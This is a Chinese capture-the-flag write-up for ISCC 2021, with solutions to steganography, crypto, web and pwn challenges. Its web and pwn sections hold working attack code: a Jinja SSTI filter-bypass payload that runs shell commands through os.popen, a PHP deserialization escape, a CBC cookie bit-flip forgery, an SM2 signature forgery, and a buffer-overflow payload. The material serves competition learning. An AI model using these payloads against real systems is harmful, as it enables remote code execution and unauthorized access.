目录

  • MISC
    • 变异的SM2
    • 区块链
    • Hack the Victim
    • 海市蜃楼2
    • 小明的表情包
    • 李华的红包
    • Retrieve_the_passcode
    • 海市蜃楼1
    • 美人计
    • 检查一下
    • 小明的宠物兔
  • Web
    • 这是啥
    • Web01
    • 登录
    • ISCC客服一号冲冲冲（二）
    • SSTI
  • RE
  • PWN
    • game
    • M78

MISC

变异的SM2

类似这个题https://ctf.njupt.edu.cn/545.html

from pwn import *
from Crypto.Util.number import *
from gmssl import func, sm2import serverr = remote("129.211.59.129", 20001)# context.log_level = 'debug'pk = int(r.recvline().split(b":")[1].decode(), 16)
pks = int(r.recvline().split(b":")[1].decode(), 16)
log.info(f"pk: {pk}")
log.info(f"pks: {pks}")backdoor = b'0'*128 + b'1'
r.sendlineafter(b"op: ", b"sign")
r.sendlineafter(b"backdoor:", backdoor)
sks = int(r.recvline(), 16)n = 115792089210356248756420345214020892766061623724957744567843809356293439045923# pks = (sk + 1) * sks ^ -1sk = inverse(pks * sks, n) - 1
log.info(f"sk: {sk}")data = b'Hello, Welcome to ISCC2021!'
e = int(data.hex(), 16)k = 2
tsm2 = server.TSM2('0xdeadbeaf')
P1_P2 = tsm2._kg(k, server.G)
R = int(P1_P2[:64], 16) + es = inverse(1+sk, n) * (k - R*sk) % nr.sendlineafter(b"op: ", b"verify")
r.sendlineafter(b"msg:", data)
r.sendlineafter(b"sign:", hex(R)[2:].zfill(64) + hex(s)[2:].zfill(64))r.interactive()

区块链

类似这个题目https://rinkeby.etherscan.io/
输入地址0x0ed72dfd4c63dd97df8fec07e5a6bba466c6adf5发现flag

Hack the Victim

搜索合约地址然后反编译得到flag

海市蜃楼2

binwalk发现有个zip文件
分离添加头部发现有个加密图片
密码为1的文件中的一个密码easy
当然我是爆破出来的
然后得到二维码扫描得flag

小明的表情包

下载文件，是一个加密的压缩包，题目里说密码是小明出生日月年，给的凯撒解出后是NINETEEN NINETY NINE，所以1999年出生，剩下就好办了，直接爆破，得到0707
拿到JPG图片一张

010查看后，发现缺少文件头FFD8，补齐重新打开得到Flag
ISCC{Nyuuiitt}

李华的红包

先jpg分离，我们将得到一个rar文件，里面明显是敲击码
然后解码
ISCC{ISCCBFS}

Retrieve_the_passcode

import numpy as np
import matplotlib.pyplot as pltfrom mpl_toolkits.mplot3d import Axes3Dlis = [1,3,1,1.25,3,1,1.5,3,1,1.75,3,1,2,3,1,2,2.75,1,2,2.5,1,2,2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.25,2.25,1,1.5,2.25,1,1.75,2.25,1,1,1.5,1,1.25,1.5,1,1.5,1.5,1,1.75,1.5,1,3,3,1,3.25,3,1,3.5,3,1,3.75,3,1,4,3,1,3.25,2.25,1,3.5,2.25,1,3.75,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.25,1.5,1,3.5,1.5,1,3.75,1.5,1,3,1.75,1,3,2,1,3,2.25,1,3,2.5,1,3,2.75,1,5,3,1,5.25,3,1,5.5,3,1,5.75,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1.5,1,5.75,1.5,1,5.5,1.5,1,5.25,1.5,1,5,1.5,1,5,2.25,1,5.25,2.25,1,5.5,2.25,1,5.75,2.25,1,5,2.5,1,5,2.75,1,7,3,1,7.25,3,1,7.5,3,1,7.75,3,1,8,3,1,8,2.75,1,8,2.5,1,8,2.25,1,8,2,1,8,1.75,1,8,1.5,1,9,3,1,9.25,3,1,9.5,3,1,9.75,3,1,10,3,1,10,2.75,1,10,2.5,1,10,2.25,1,9.75,2.25,1,9.5,2.25,1,9.25,2.25,1,9,2.25,1,9,2,1,9,1.75,1,9,1.5,1,9.25,1.5,1,9.5,1.5,1,9.75,1.5,1,10,1.5,1,11,3,1,11.25,3,1,11.5,3,1,11.75,3,1,12,3,1,12,2.75,1,12,2.5,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.75,1.5,1,11.5,1.5,1,11.25,1.5,1,11,1.5,1,11,1.75,1,11,2,1,11,2.25,1,11,2.5,1,11,2.75,1,11.25,2.25,1,11.5,2.25,1,11.75,2.25,1]
x = lis[0::3]
y = lis[1::3]
z = lis[2::3]
fig = plt.figure()ax = plt.figure().add_subplot(111, projection = '3d')ax.set_title('Scatter Plot')ax.set_xlabel('X Label')
ax.set_ylabel('Y Label')
ax.set_zlabel('Z Label')ax.scatter(x,y,z,c = 'r',marker = '.')plt.legend('x1')plt.show()

得到密码：365728
word有摩斯密码，解密得flag

海市蜃楼1

修改文件头然后挨个找发现flag
给出的是一个图片。进行binwalk分离之后会有一个txt打开之后有几个数字24,43,13,13,12,21,43。
进行解密
敲击码
结果为ISCCBFS加上ISCC{ISCCBFS}提交就可以了

美人计

打开word后有一个图片。扫描后有一串AES加密的数据。进行多次解密(密钥为ISCC2021)会出来一个字符串.
y0u_h@ve_fal1en_intO_tHe_tr@p_0f_tHe_be@uty_!很显然不对。然后对word进行binwalk分离。出来另一个图片。进行AES解密发现不对。然后进行DES解密，出来flag。

检查一下

根据提示用pngcheck检查png
pngcheck.exe -v 221B.png

发现最后一个块隐藏东西。
用Winhex查看发现是zlib压缩。然后用python解
求出来发现是一串二进制，无法求解字符串，然后就想到了画图。先接出来宽和高。

import zlib
import binasciiIDAT = "789C5D52090EC0200CFA12FCFF73CB6A3954974C7B412BE42C003CDF7F0469B3ACE7CAD927E4371D27153301E39175AB9DF4D729F3E2AF137521CCAC693DBBC80A2F8CE026D025F9F462A208C50AA06990350D34E1398B8B2A5DA0CADEB4FE236159CB603BEEDA825E2E1EE24615D88DAE46335495238AAD82FDC0F5CC862C76691F34748D5F22702B868ACCFA69EA6DA412DC99A52108B9275FF33740A48CAAE71AA5BEF4ABE2A5B3682123C6072ED49F5DE1779E9A".decode('hex')# print IDATresult=binascii.hexlify(zlib.decompress(IDAT))print len(result)print result.decode('hex')
for i in range(30):for j in range(30):if i * j == 841:print i,j

python3画图


from PIL import Image
from zlib import *MAX = 29
pic = Image.new("RGB",(MAX,MAX))
str ="1111111000100100110000111111110000010011011110010101000001101110100111010011010010111011011101000000111011110101110110111010010111101110001011101100000101110111000010010000011111111010101010101010111111100000000011100100110100000000100101101110000101010101000001101000011101011011011100101000001110010010001111011110010001100000101101100111111001010110101101110000100011110100110001001100010010101110000111111111110010100110101001111110010110001100110111110111000110011110010001111001110000100011010000110100100000001011001010101101110100011011010011100011101001111011111000101001101101101100101010001111101000000000011101101101010001011011111110000011110000101011010100000101011110010101000101101011101001010011001011111001010111010110101111000001101001101110100101010000010100111011000001000011101000011001001011111110100100100000111100110"
i=0
for y in range(0,MAX):for x in range(0,MAX):if(str[i] == '1'):pic.putpixel([x,y],(0,0,0))else:pic.putpixel([x,y],(255,255,255))i = i+1
pic.show()

扫描得flag

小明的宠物兔

binwalk分离zip。
然后发现flag.txt，知道是rabbit加密。
兔子的照片上写着碰撞。
猜测是crc碰撞

import binascii
import stringdef crack_crc():print('-------------Start Crack CRC-------------')crc_list = [0x3dacac6b]#文件的CRC32值列表，注意顺序comment = ''chars = string.printablefor crc_value in crc_list:for char1 in chars:for char2 in chars:for char3 in chars:for char4 in chars:for char5 in chars:res_char = char1 + char2 + char3 + char4 + char5#获取遍历的任意4Byte字符char_crc = binascii.crc32(res_char.encode())#获取遍历字符的CRC32值calc_crc = char_crc & 0xffffffff#将遍历的字符的CRC32值与0xffffffff进行与运算if calc_crc == crc_value:#将获取字符的CRC32值与每个文件的CRC32值进行匹配print('[+] {}: {}'.format(hex(crc_value),res_char))comment += res_charprint('-----------CRC Crack Completed-----------')print('Result: {}'.format(comment))if __name__ == '__main__':crack_crc()

爆破crc得到
(0_0)
解密U2FsdGVkX18kNy7RlBvcV9WJsqa+oxvdd0Ir86U2cU2996N6ltZi7VVOaw==
ISCC{u_really_know_rabbits}

Web

这是啥

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]]+(!+[]+!![]+[])+(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])))()

直接放在控制台进行解密就可以

Web01

查看robots.txt
然后有提示在
/code/code.txt
数大于9999999还需要有*-*
所以想到科学计数法99e9*-*

登录

类似BUU上一道0CTF—piapiapia不再详细介绍

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

ISCC客服一号冲冲冲（二）

提示是(一)的flag是密码
发现登陆不对。
cookie的iv和cipher像CBC反转攻击

s:2:{s:8:”username”;s:5:”admil”;s:8:”password”;s:3:”123″;}

<?php
$enc=base64_decode("YixidufNP1ip8AV9exttKG1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiIxU0NDXzJvMmxfS2VGdXUiO30=");
$iv=base64_decode(urldecode("CoXsrNvawesqx1ACRM76Xw%3D%3D"));
$cleartext = 'a:2:{s:8:"userna';
$newiv = '';
for ($i=0;$i<16;$i++){$newiv=$newiv.chr(ord($iv[$i]) ^ ord($enc[$i]) ^ ord ($cleartext[$i]));
}
echo base64_encode($newiv);
?>

查看图片的base64

SSTI

发现参数xiaodouni，然后开始注入，发现过滤了很多的东西。
最后的payload

{%set pp=(dict(pop=a))|join%}
{%set xiahua=(lipsum|select|string|list)|attr(pp)(24)%}
{%set g=(lipsum|select|string|list)|attr(pp)(1)%}
{%set gb=(xiahua,xiahua,g,dict(bals=a,lo=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,g,dict(e=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl))|attr("ge""t")("ch""r")%}
{%set dian=chcr(46)%}
{%set space=chcr(32)%}
{%set xing=chcr(42)%}
{%set shell=("cat ","requirements",dian,"txt")|join%}
{%set shell2=("find / -name ",xing,"fl","ag",xing)|join%}
{%set shell3=("cat /usr/fl","ag",xiahua,"is",xiahua,"here",dian,"txt")|join%}
{{ lipsum|attr(gb)|attr(gm)("o""s")|attr("po""pen")(shell3)|attr("read")()}}

RE

PWN

game

from pwn import *
from ctypes import *#p = process('./game')
p = remote('39.96.88.40',7040)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.23.so')
seed1 = libc.time(0)
rand1 = libc.srand(seed1)
p.sendlineafter('is :','Niebelungen')for i in range(10):seed = libc.rand()libc.srand(seed)num = str(libc.rand()%100+1)p.sendline(num)p.interactive()

M78

from pwn import *#p = process('./M78')
p = remote('39.96.88.40',7010)
p.sendlineafter('choice?','1')
p.sendlineafter('building','Niebelungen')
#gdb.attach(p)
payload ='a'*7+'a'+'b'*(0x18+4-8)+p32(0x8049202)
payload = payload.ljust(0xff+8,'a')
p.sendafter('password',payload)
p.interactive()

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